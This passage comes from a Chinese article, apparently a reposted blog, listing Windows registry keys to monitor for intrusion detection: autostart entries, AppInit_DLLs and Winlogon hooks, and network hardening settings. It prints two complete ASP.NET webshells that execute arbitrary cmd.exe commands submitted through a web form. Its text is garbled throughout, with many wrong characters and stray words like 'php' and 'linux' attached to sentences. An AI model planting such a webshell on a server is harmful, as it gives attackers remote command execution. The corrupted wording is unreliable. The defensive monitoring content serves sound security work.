入侵检测中须要监控的注册表路径研究(Windows Registry Security Check)

1. Windows注册表简介

注册表(Registry,繁体中文版Windows称之为登陆档)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的Windows NT是第一个从系统级别普遍使用注册表的操做系统。可是,从Microsoft Windows 95开始,注册表才真正成为Windows用户常常接触的内容,并在其后的操做系统中继续沿用至今php

0x1: 注册表的由来

在Windows 3.x操做系统中,注册表是一个极小文件,其文件名为Reg.dat,里面只存放了某些文件类型的应用程序关联,大部分的设置放在Win.ini、System.ini等多个初始化INI文件中。因为这些初始化文件不便于管理和维护,时常出现一些因INI文件遭到破坏而致使系统没法启动的问题。为了使系统运行得更为稳定、健壮,Windows 95/98设计师们借用了Windows NT中的注册表的思想,将注册表引入到Windows 95/98操做系统中,并且将INI文件中的大部分设置也移植到注册表中,所以,注册表在Windows 95/98操做系统的启动、运行过程当中起着重要的做用html

0x2: 注册表的做用

注册表是windows操做系统中的一个核心数据库,其中存放着各类参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系统中起着核心做用。这些包括了linux

1. 软、硬件的相关配置和状态信息
2. 应用程序和资源管理器外壳的初始条件、首选项和卸载数据
3. 联网计算机的整个系统的设置和各类许可
4. 文件扩展名与应用程序的关联
5. 硬件部件的描述、状态和属性
6. 性能记录
7. 其余底层的系统状态信息
8. 其余数据等 

具体来讲,在启动Windows时,Registry会对照已有硬件配置数据,检测新的硬件信息ios

1. 系统内核从Resistry中选取信息,包括要装入什么设备驱动程序,以及依什么次序装入,内核传送回它自身的信息,例如版权号等
2. 同时设备驱动程序也向Registry传送数据,并从Registry接收装入和配置参数
3. 设备驱动程序会告诉Resistry它在使用什么系统资源,例如硬件中断或DMA通道等
4. 设备驱动程序还要报告所发现的配置数据
5. 为应用程序或硬件的运行提供增长新的配置数据的服务
6. 配合INI文件兼容16位Windows应用程序,当安装—个基于Windows 3.x的应用程序时,应用程序的安装程序Setup像在windows中—样建立它本身的INI文件或在Win.ini和System.ini文件中建立入口
7. 同时windows还提供了大量其余接口,容许用户修改系统配置数据,例如控制面板、设置程序等 

若是注册表受到了破坏,轻则使windows的启动过程出现异常,重则可能会致使整个windows系统的彻底瘫痪。所以正确地认识、使用,特别是及时备份以及有问题恢复注册表对windows用户来讲就显得很是重要web

0x3: 注册表的数据结构

注册表由键(或称"项")、子键(子项)和值项构成。一个键就是分支中的一个文件夹,而子键就是这个文件夹中的子文件夹,子键一样是一个键。一个值项则是一个键的当前定义,由如下几个部分组成shell

1. 名称
2. 数据类型
3. 分配的值

一个键能够有一个或多个值,每一个值的名称各不相同,若是一个值的名称为空,则该值为该键的默认值
在注册表编辑器(Regedit.exe)中,数据结构显示以下,其中,command键是open键的子键,(默认)表示该值是默认值,值名称为空,其数据类型为REG_SZ,数据值为:数据库

%systemroot%/system32/NOTEPAD.EXE "%1 

注册表的数据类型主要有如下四种 编程

1. REG_SZ: 字符串: 文本字符串 
2. REG_MULTI_SZ: 多字符串: 含有多个文本值的字符串 
3. REG_BINARY: 二进制数: 二进制值,以十六进制显示  
4. REG_DWORD: 双字: 一个32位的二进制值,显示为8位的十六进制值 

Relevant Link:windows

http://baike.baidu.com/view/979.htm

 

2. Windows自启动项相关注册表监控项

0x1:自启动文件目录 

入侵服务器后,经过部署自启动项是黑客经常使用的刘后门手段,整体来讲,Windows上部署自启动后门的方式有以下浏览器

1. 当前用户专有的启动文件夹 
这是许多应用软件自动启动的经常使用位置,Windows自动启动放入该文件夹的全部快捷方式。用户启动文件夹通常在: \Documents and Settings\<用户名字>\「开始」菜单\程序\启动,其中"<用户名字>"是当前登陆的用户账户名称  
   
2. 对全部用户有效的启动文件夹 
这是寻找自动启动程序的第二个重要位置,无论用户用什么身份登陆系统,放入该文件夹的快捷方式老是自动启动——这是它与用户专有的启动文件夹的区别所在。该文件夹通常在: \Documents and Settings\All Users\「开始」菜单\程序\启动 
   
3. C:\Windows\win.ini
检查"run=""load="等选项后面是否包含一些来历不明的内容,正常状况下这个文件夹里不该该有load、run项

0x2:系统提供的自启动注册表配置项 

1. Load注册键: 它也可以自动启动程序
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load  
   
2. Userinit注册键: 这里也可以使系统启动时自动初始化程序。一般该注册键下面有一个userinit.exe,如图一,但这个键容许指定用逗号分隔的多个程序,例如"userinit.exe,OSA.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit

3. Explorer\Run注册键: 和load、Userinit不一样,Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run  
   
4. RunServicesOnce注册键: RunServicesOnce注册键用来启动服务程序,启动时间在用户登陆以前,并且先于其余经过注册键启动的程序。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce  
   
5. RunServices注册键: RunServices注册键指定的程序紧接RunServicesOnce指定的程序以后运行,但二者都在用户登陆以前
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices  
   
6. RunOnce\Setup注册键: RunOnce\Setup指定了用户登陆以后运行的程序 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup 
   
7. RunOnce注册键: 安装程序一般用RunOnce键自动运行程序 
# HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登陆以后当即运行程序,运行时机在其余Run键指定的程序以前
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# HKEY_CURRENT_USER下面的RunOnce键在操做系统处理其余Run键以及"启动"文件夹的内容以后运行
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 若是是XP,还须要检查一下
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
   
8. Run注册键: Run是自动运行程序最经常使用的注册键 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但二者都在处理"启动"文件夹以前 

9. Windows Shell Context Menu option
HKLM\Software\Classes\*\shell\yourappname
HKLM\Software\Classes\*\shell\yourappname\command
HKLM\Software\Classes\Folder\shell\yourappname
HKLM\Software\Classes\Folder\shell\yourappname\command
HKLM\Software\Classes\Directory\shell\yourappname
HKLM\Software\Classes\Directory\shell\yourappname\command
HKLM\Software\Classes\Drive\shell\yourappname
HKLM\Software\Classes\Drive\shell\yourappname\command

10. EnableLUA
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\

11. Logon or Logoff scripts
HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logon
HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff
HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Logon
HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Logoff
HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup            
HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown

12. command processor’s AutoRun setting
\HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\
\HKEY_USERS\*\Software\Microsoft\Command Processor\*

13. AutoStart Explorer Keys (自动启动资源管理器项 
\HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WOW\Control\Session Manager\Environment\
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\​​CurrentVersion\​Policies\​Explorer\​Run\
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\​​CurrentVersion\​ShellServiceObjectDelayLoad

14. AutoStart System Injection Keys (自动启动系统注入项) 
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs\*
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\​Winsock2\​Parameters\​Protocol_Catalog9\​Catalog_Entries\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\​CurrentVersion\Winlogon\GPExtensions\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\​CurrentVersion\Winlogon\Notify\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\​​CurrentVersion\​Explorer\Browser Helper Objects\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\​​CurrentVersion\​Explorer\​ShellExecuteHooks\*

Relevant Link:

https://help.symantec.com/cs/SESCSP_HELP/SESCSP/v99799033_v121007334/%E7%B3%BB%E7%BB%9F%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9B%91%E8%A7%86--%E8%87%AA%E5%8A%A8%E5%90%AF%E5%8A%A8%E9%A1%B9%7CSymantec%E2%84%A2-Critical-System-Protection?locale=ZH_CN

0x3:系统提供的dll加载注册表配置 

除了上述直接指定命令行的自启动项,咱们再来看一些能够指定dll路径并由系统执行的自启动项,这容许黑客将后门恶意逻辑封装在一个dll中,并在系统启动时随之执行

1. AppInit_DLL

恶意代码编写者能够经过一个名为Appinit_DLL的特殊注册表项来让它们的dll得到加载。AppInit_DLL中的DLL程序会在进程加载User32.dll时被加载。插入DLL路径到注册表AppInit_DLL,会让DLL程序得到加载的机会

# 由空格分隔的字符串dll路径
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

# 为1表示开启appinit_dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

不少进程都会加载User32.dll,这些进程也会加载AppInit_DLL。恶意代码编写者一般须要在攻击payload里加上判断当前进程的逻辑,只对指定目标发起攻击,本质上说,这和linux ld_preload是相似的。User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,如有值,则调用LoadLibrary() API加载用户DLL

注册表项修改完毕后,重启系统,使修改生效

运行cmd.exe时由于加载了user32.dll,因此也同时加载了咱们插入的dll

2. Winlogon Notify

恶意代码编写者能够挂钩一个特殊的Winlogon事件,如Lock,Logoff,Logon,Shutdown,StartScreenSaver,StartShell,Startup,StopScreenSaver,Unlock等。这甚至能够容许恶意代码在安全模式下加载

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\*

当WinLogon.exe产生一个事件通知的时候,Windows会检查注册表里面指定的DLL并调用DLL指定的导出函数

Relevant Link:

http://blog.csdn.net/swanabin/article/details/50925645
http://blog.csdn.net/u013565525/article/details/28416279

 

3. 恶意篡改病毒相关注册表监控项

0x1: IE起始页的修改

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main //右半部分窗口中的Start Page就是IE主页地址了

0x2: 磁盘驱动器被隐藏

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer //"NoDrives"键值被改成1了,改成0就可恢复正常显示

Relevant Link:

http://bbs.csdn.net/topics/487355/
http://blog.sina.com.cn/s/blog_4c9df5350100082h.html
http://baike.baidu.com/view/979.htm
http://www.jb51.net/os/19806.html

 

4. 网络安全配置相关注册表监控项

0x1:很是用端口开放检测

1. 135端口

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,经过RPC能够保证在一台计算机上运行的程序能够顺利地执行远程计算机上的代码,使用DCOM能够经过网络直接进行通讯,可以跨包括HTTP协议在内的多种网络传输
"冲击波"病毒,该病毒就是利用RPC漏洞来攻击计算机的。RPC自己在处理经过TCP/IP的消息交换部分有一个漏洞,该漏洞是因为错误地处理格式不正确的消息形成的。该漏洞会影响到RPC与DCOM之间的一个接口,该接口侦听的端口就是135,为了不"冲击波"病毒以及其余RPC漏洞的攻击,建议关闭该端口

1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\EnableDCOM: 值改成"N" 
2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\DCOM Protocols: 键值中删除"ncacn_ip_tcp"

此外,还须要确认停用"Distributed Transaction Coordinator"服务,须要重启所作的更改才会生效

2. 445端口

445端口是一个毁誉参半的端口,他和139端口一块儿是IPC$入侵的主要通道。有了它咱们能够在局域网中轻松访问各类共享文件夹或共享打印机,但也正是由于有了它,黑客们才有了可乘之机,攻击者能经过该端口共享受害者的硬盘,甚至会在悄无声息中将硬盘格式化掉

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled(DWORD值): 并设置数值为0

Relevant Link:

https://social.technet.microsoft.com/Forums/en-US/5951b3fc-1fef-497e-9d16-2e297b2a9395/rpc135?forum=window7betacn
http://bingdian.blog.51cto.com/94171/20846 
http://baike.baidu.com/view/1670802.htm 

0x2:IPC空链接

禁用IPC$空链接,能够防止远程用户的匿名访问

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RestrictAnonymous
//有关RestrictAnonymous的值的三种状况解释
1. 1: 不容许枚举SAM账户和名称(安全)
2. 2: 没有显式匿名权限就没法访问,当基于 Windows 2000/2003/2008的域控制器上的RestrictAnonymous注册表值被设置为2时,下列任务受到限制
    1) 下级成员工做站或服务器没法创建netlogon安全通道
    2) 信任域中的下级域控制器没法创建netlogon安全通道
    3) Microsoft Windows NT用户在密码过时后没法更改密码 
    4) 浏览器服务没法从在RestrictAnonymous注册表值设置为2的计算机上运行的备份浏览器、主浏览器或域主浏览器中检索域列表或服务器列表。所以,全部依赖浏览器服务的程序都没法正常工做。
//因为上述结果,建议您不要在包括下级客户端的混合模式环境中将 RestrictAnonymous 注册表值设置为 2。只有在 Windows 2000/2003/2008 环境下,而且只有当进行了充分的质量保证测试以证明适当的服务级别和程序功能继续保持以后,才应考虑将 RestrictAnonymous 注册表值设置为2 

Relevant Link:

http://www.zgxue.com/40/405073.html
http://cs.ecust.edu.cn/snwei/studypc/oftencommand/ipc$.htm

0x3:Backlog AFD.SYS Protections

NetBT(基于TCP/IP的NetBIOS)使用139号TCP端口,通常用在微软网络中,例如文件和打印服务

1.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBt\Parameters\BacklogIncrement
//在创建链接时,若是BetBT发现可用的链接块数目小于2个,会自动的再分配可用链接块,NetBT每次增长的链接块的数目定义在注册表中的双字节值项BacklogIncrement中,该值项位于注册表项注册表项,NetBT最多可使用的链接块的数目定义在注册表项中双字节值项MaxConnBackLog中,默认为1000个,最大值能够取到40000个。能够适当的增大此参数的值以容许更多的同时链接 
    1) 3: 默认值为3
    2) 最小值为1
    3) 最大值位20。增大此值能够在有众多链接时提高性能。每一个链接块消耗87个字节 
 //对于使用Sockets的Windows服务,如FTP,能够经过配置动态Backlog来提高在网络繁忙时的性能。使用动态Bakclog,系统会预先分配必定的资源用于创建链接,这样就省去了给链接分配资源的时间和CPU消耗。若是须要再增长资源,能够一次性的增长若干个链接所需的资源空间

2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\EnableDynamicBacklog 
    1) 该值项的默认值为0,表示禁止动态Backlog
    2) 对于网络繁忙或者易遭受SYN攻击的系统,建议设置为1,表示容许动态Backlog 

3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MinimumDynamicBacklog
    1) 该值项的默认值为0,表示动态Backlog分配的自由链接的最小数目。当自由链接数目低于此数目时,将自动的分配自由链接。默认值为0
    2) 对于网络繁忙或者易遭受SYN攻击的系统,建议设置为20 

4. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MaximumDynamicBacklog
    1) 该值项的默认值为0,表示定义最大""链接的数目。""链接包括自由链接和半链接
    2) Recommended value data: 20000,对于网络繁忙或者易遭受SYN攻击的系统,应该设置此值,大小取决于内存的多少。通常来讲,每32M内存最大能够增长5000个 

5. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\DynamicBacklogGrowthDelta
    1) 该值项的默认值为5,表示定义每次增长的自由链接数目
    2) 对于网络繁忙或者易遭受SYN攻击的系统,建议设置为10 

0x4:防止主机成为反射攻击的肉鸡源的相关配置

1. Protect Against SYN Attacks

Windows针对SYN淹没攻击提供了一个叫作SYN淹没攻击保护的特性。当出现了SYN淹没攻击的征兆时,Windows自动下降对那些没法确认的链接请求的响应时间

1. Enable SYN attack protection
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\SynAttackProtect(DWORD值)
    1) 0: 该值项的默认值为0,表示不容许SYN淹没攻击保护特性
    2) 1: 表示容许启用SYN淹没攻击保护特性
    3) 2: 推荐该数值,表示彻底开启SYN淹没攻击

2. Set SYN protection thresholds
2.1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxPortsExhausted: Determines how many connection requests the system can refuse before TCP/IP initiates SYN flooding attack protection
    1) Recommended value: 5
2.2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpen: Determines how many connections the server can maintain in the half-open (SYN-RCVD) state before TCP/IP initiates SYN flooding attack protection
    1) Recommended value data: 500
2.3 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpenRetried: Determines how many connections the server can maintain in the half-open (SYN-RCVD) state even after a connection request has been retransmitted
    1) Recommended value data: 400

3. Set Additional Protections
3.1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxConnectResponseRetransmissions: Determines how many times TCP retransmits an unanswered SYN-ACK (connection request acknowledgment). 
    1) 3: 该值项的默认值为3,表示定义了对于链接请求回应包的重发次数
    2) 1: 若是该值为1,则SYN淹没攻击不会有效果,可是这样会形成链接请求失败概率的升高
    3) 2: Recommended value data: 2
3.2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxDataRetransmissions: Determines how many times TCP retransmits an unacknowledged data segment on an existing connection
    1) Recommended value data: 2
3.3 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\EnablePMTUDiscovery: Determines whether TCP uses a fixed, default maximum transmission unit (MTU) or attempts to detect the actual MTU(防护TCP碎片攻击)
    1) Recommended value data: 0
3.4 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\KeepAliveTime: Determines how often TCP sends keep-alive transmissions.
    1) Recommended value data: 300000

2. Set NetBIOS Protections

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand
1. Recommended value data: 1
//Specifies to not release the NetBIOS name of a computer when it receives a name-release request.

3. Protect Against ICMP Attacks

HKLM\System\CurrentControlSet\Services\TcpIp\Parameters\EnableICMPRedirect
1. Recommended value data: 0
2. 1 (enabled)
//Modifying this registry value to 0 prevents the creation of expensive host routes when an ICMP redirect packet is received.

4. Protect Against SNMP Attacks

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect 1. Recommended value data: 0 2. 1 (enabled) //Prevents an attacker from forcing the switching to a secondary gateway

5. Additional Protections

1. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting: Disables IP source routing, which allows a sender to determine the route a datagram should take through the network(Protect Screened Network Details)
    1) Recommended value data: 1
    2) 0 (forward all packets)
    3) 2 (drop all incoming source routed packets)

2. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableMulticastForwarding: The routing service uses this parameter to control whether or not IP multicasts are forwarded. This parameter is created by the Routing and Remote Access Service.(Do Not Forward Packets Destined for Multiple Hosts)
    1) Recommended value data: 0
    2) 1 (true)

3. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter: Setting this parameter to 1 (true) causes the system to route IP packets between the networks to which it is connected.(Only Firewalls Forward Packets Between Networks)
    1) Recommended value data: 0
    2) 1 (true)

4. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableAddrMaskReply: This parameter controls whether the computer responds to an ICMP address mask request.(Mask Network Topology Details)
    1) Recommended value data: 0
    2) 1 (true

0x5:远程操做注册表 

某些服务必须可以访问注册表才能正常发挥做用。例如,在一个运行目录复制的系统上,“复制器”账户必须可以访问相关的注册表项。注册表编辑器支持对 Windows 注册表的远程访问;可是,咱们也能够限制这种访问

1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\Description: Registry Server 

Relevant Link:

https://msdn.microsoft.com/en-us/library/ff648853.aspx
https://technet.microsoft.com/en-us/library/cc957549.aspx
http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=2360&ArticlePage=3

0x6:删除默认共享(IPC$、ADMIN$、C$、D$、e$、f$、g$)

0x7:禁用IPC$创建空链接

在Windows 2000/XP/2003系统中,逻辑分区与Windows目录默认为共享,这是为管理员管理服务器的方便而设,但却成为了安全漏洞
利用IPC$,链接者能够与目标主机创建一个空的链接,即无需用户名和密码就能链接主机,固然这样链接是没有任何操做权限的。但利用这个空的链接,链接者能够获得目标主机上的用户列表。
利用得到的用户列表,就能够猜密码,或者穷举密码,从而得到更高,甚至管理员权限

1. IPC$(Internet Process Connection)
是共享"命名管道"的资源,它是为了让进程间通讯而开放的命名管道,能够经过验证用户名和密码得到相应的权限,在远程管理计算机和查看计算机的共享资源时使用 只要经过IPC$,得到足够的权限(即猜解到账号、密码),就能够在主机上运行程序、建立用户、把主机上C、D、E等逻辑分区共享给入侵者,主机上的全部资料

要防止别人用ipc$和默认共享入侵,须要禁止ipc$空链接,避免入侵者取得用户列表,并取消默认共享

1. 禁止ipc$空链接进行枚举
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous = DWORD的键值改成:00000001
    1) 0x0(缺省) 2) 0x1: 匿名用户没法列举本机用户列表 3) 0x2: 匿名用户没法链接本机IPC$共享 //不建议使用2,不然可能会形成一些服务没法启动,如SQL Server 2. 关闭139与445端口 ipc$链接是须要139或445端口来支持的,139端口的开启表示netbios协议的应用,经过13九、445(win2000)端口实现对共享文件/打印机的访问,所以关闭139与445端口能够禁止ipc$链接 1) 关闭139端口能够经过禁用 netbios 协议来实现: 控制面板->网络和拨号链接->本地链接,点属性按钮进入"本地链接 属性"页面,选择"Internet 协议 (TCP/IP)",而后点属性按钮,在弹出窗口点高级按钮,而后选择WINS标签,点"禁用 TCP/IP 上的 NetBios",最后肯定退出 2) 445端口关闭方法: 运行regedit,找到项[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters],创建名称为SMBDeviceEnabled,DWORD类型的键,值为00000000

0x8:禁止系统自动启动服务器共享(禁用IPC链接)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\AutoShareServer
Type:DWORD
Value: 0(关闭)

Relevant Link:

http://blog.vpsks.com/140.html
http://www.splaybow.com/post/windows-445port.html
http://baike.baidu.com/view/1296452.htm

 

5. windows组件安全配置相关注册表监控项

windows、.NET、危险指令是部署WEBSHELL以后,进行横向渗透提权的经常使用手段

0x1:W.Shell/WScript.Shell组件(wshom.ocx Windows Script Host Runtime Library)

wshom.ocx是Windows本地脚本对象运行时相关文件,用来提供WshShell对象和WshNetwork对象接口的访问

The WshShell object is a COM object

Category

Method or Property

Running Programs

Run, Exec

Working with Special Folders

SpecialFolders

Working with Shortcuts

CreateShortcut

Working with Environment Variables

Environment, ExpandEnvironmentStrings

Working with the Event Log

LogEvent

Working with the Registry

RegRead, RegWrite, RegDelete

Sending Keystrokes to an Application

AppActivate, SendKeys

Obtaining a Scripts Current Directory

CurrentDirectory

Creating Timed Dialog Boxes

Popup

 
/*
test.vbs
*/
//WshShell refers to the Shell object exposed via the Automation interface of WScript. Therefore, you must use CreateObject to return this object 
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set oShellLink = WshShell.CreateShortcut("Current Script.lnk")
oShellLink.TargetPath = Wscript.ScriptFullName
oShellLink.Save

Set oUrlLink = WshShell.CreateShortcut("Microsoft Web Site.URL")
oUrlLink.TargetPath = "http://www.baidu.com"
oUrlLink.Save

W.Shell组件经常被黑客用来执行vbs脚本,黑客经过WEBSEHLL或者其余上传漏洞上传vbs提权脚本并执行,除此以外,黑客上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用)
ASP.NET有自身的执行CMD指令的方式,可是若是目标机器禁用了.NET的指令执行,这个时候就可使用WScript.Shell,由于只要是ASP中能用的组件,均可以直接向下兼容地用于ASP.NET中
ASP.NET提供了2种方式让咱们使用COM组件

1. Server对象的CreatObject方法

<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %> 
<script runat="server"> 
    sub runcmd(Src As Object, E As EventArgs) 
        Dim StrResult As String 
        Dim CMDShell As Object 
        CMDShell = Server.CreateObject("WScript.Shell") 
        StrResult = CMDShell.exec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall 
        StrResult = Replace(StrResult , "<","&lt;") 
        StrResult = Replace(StrResult , ">","&gt;") 
        ResultLabel.Text = "<pre>" & StrResult & "</pre>" 
    end sub 
</script> 

<html> 
    <head><title>WSH.SHell For ASP.NET</title></head> 
    <body>  
    <form runat="server">  
        "cmd.exe" path:&nbsp;<asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />  
        <br>  
        Your Command:&nbsp;&nbsp;<asp:TextBox ID="CMDBox" Width="200" runat="server" />  
        <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />  
        <br>  
        <asp:Label ID="ResultLabel" runat="server" />  
    </form>  
    <div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------</div>  
    <hr width="50%">  
    </body>  
</html> 

2. 将COM组件转化为.NET组件 

微软提供了类型库导入器(Type Library Importer),通过它的转换,咱们就可使用COM组件了,转化以后,会产生一个dll文件,须要放到web木龙骨的bin目录下才能够被使用,这个dll不须要注册就能够直接使用(这也是ASP.NET和ASP的区别之一)
1) Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
2) 而后把WSHomx.dll放到web目录的bin下面

<%@ Page Language="VB" validateRequest="false"%> 
<script runat="server"> 
    sub runcmd(Src As Object, E As EventArgs) 
        Dim StrResult As String 
        Dim CMDShell As New WSHomx.WshShell 
        CMDShell = Server.CreateObject("WScript.Shell") 
        StrResult = CMDShell.exec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall 
        StrResult = Replace(StrResult , "<","&lt;") 
        StrResult = Replace(StrResult , ">","&gt;") 
        ResultLabel.Text = "<pre>" & StrResult & "</pre>" 
    end sub 
</script> 

<html> 
    <head><title>WSH.SHell For ASP.NET</title></head> 
    <body>  
    <form runat="server">  
        "cmd.exe" path:&nbsp;<asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />  
        <br>  
        Your Command:&nbsp;&nbsp;<asp:TextBox ID="CMDBox" Width="200" runat="server" />  
        <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />  
        <br>  
        <asp:Label ID="ResultLabel" runat="server" />  
    </form>  
    <div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------</div>  
    <hr width="50%">  
    </body>  
</html> 

W.Shell/WScript.Shell组件所在注册表的位置为

1. HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}: 删除
2. HKEY_CLASSES_ROOT\WScript.Shell: 更名为 HKEY_CLASSES_ROOT\WScript.Shell_bak
3. HKEY_CLASSES_ROOT\WScript.Shell.1: 更名为 HKEY_CLASSES_ROOT\WScript.Shell.1_bak
4. HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值: 项目的值改成其余值(删除效果也是同样的)
5. HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值: 项目的值改成其余值(删除效果也是同样的)

/*
regsvr32/u C:\WINDOWS\System32\wshom.ocx 
del C:\WINDOWS\System32\wshom.ocx
*/

Relevant Link:

http://www.mydiannao.com/article/show.asp?id=3902
http://www.processlibrary.com/en/directory/files/wshom/22473/
http://baike.baidu.com/view/702418.htm
http://www.informit.com/articles/article.aspx?p=1187429&seqNum=5
https://technet.microsoft.com/en-us/library/ee156590.aspx
http://www.devguru.com/technologies/wsh/17408
http://codex.wiki/post/183860-445

0x2:Shell.application组件

wscript.shell、shell.application这两个组件都是来执行程序的,可是正常的业务场景中不多会用到

1. Run a batch script with elevated permissions, flag=runas:

Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "E:\demo\batchScript.cmd", "", "", "runas", 1

2. Run a VBScript with elevated permissions, flag=runas:

Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "cscript", "E:\demo\vbscript.vbs", "", "runas", 1

3. ASP

<%
    On Error Resume Next
    Dim theFile, thePath, appPath, appName, appArgs
    appPath = Trim(Request("appPath"))
    appName = Trim(Request("appName"))
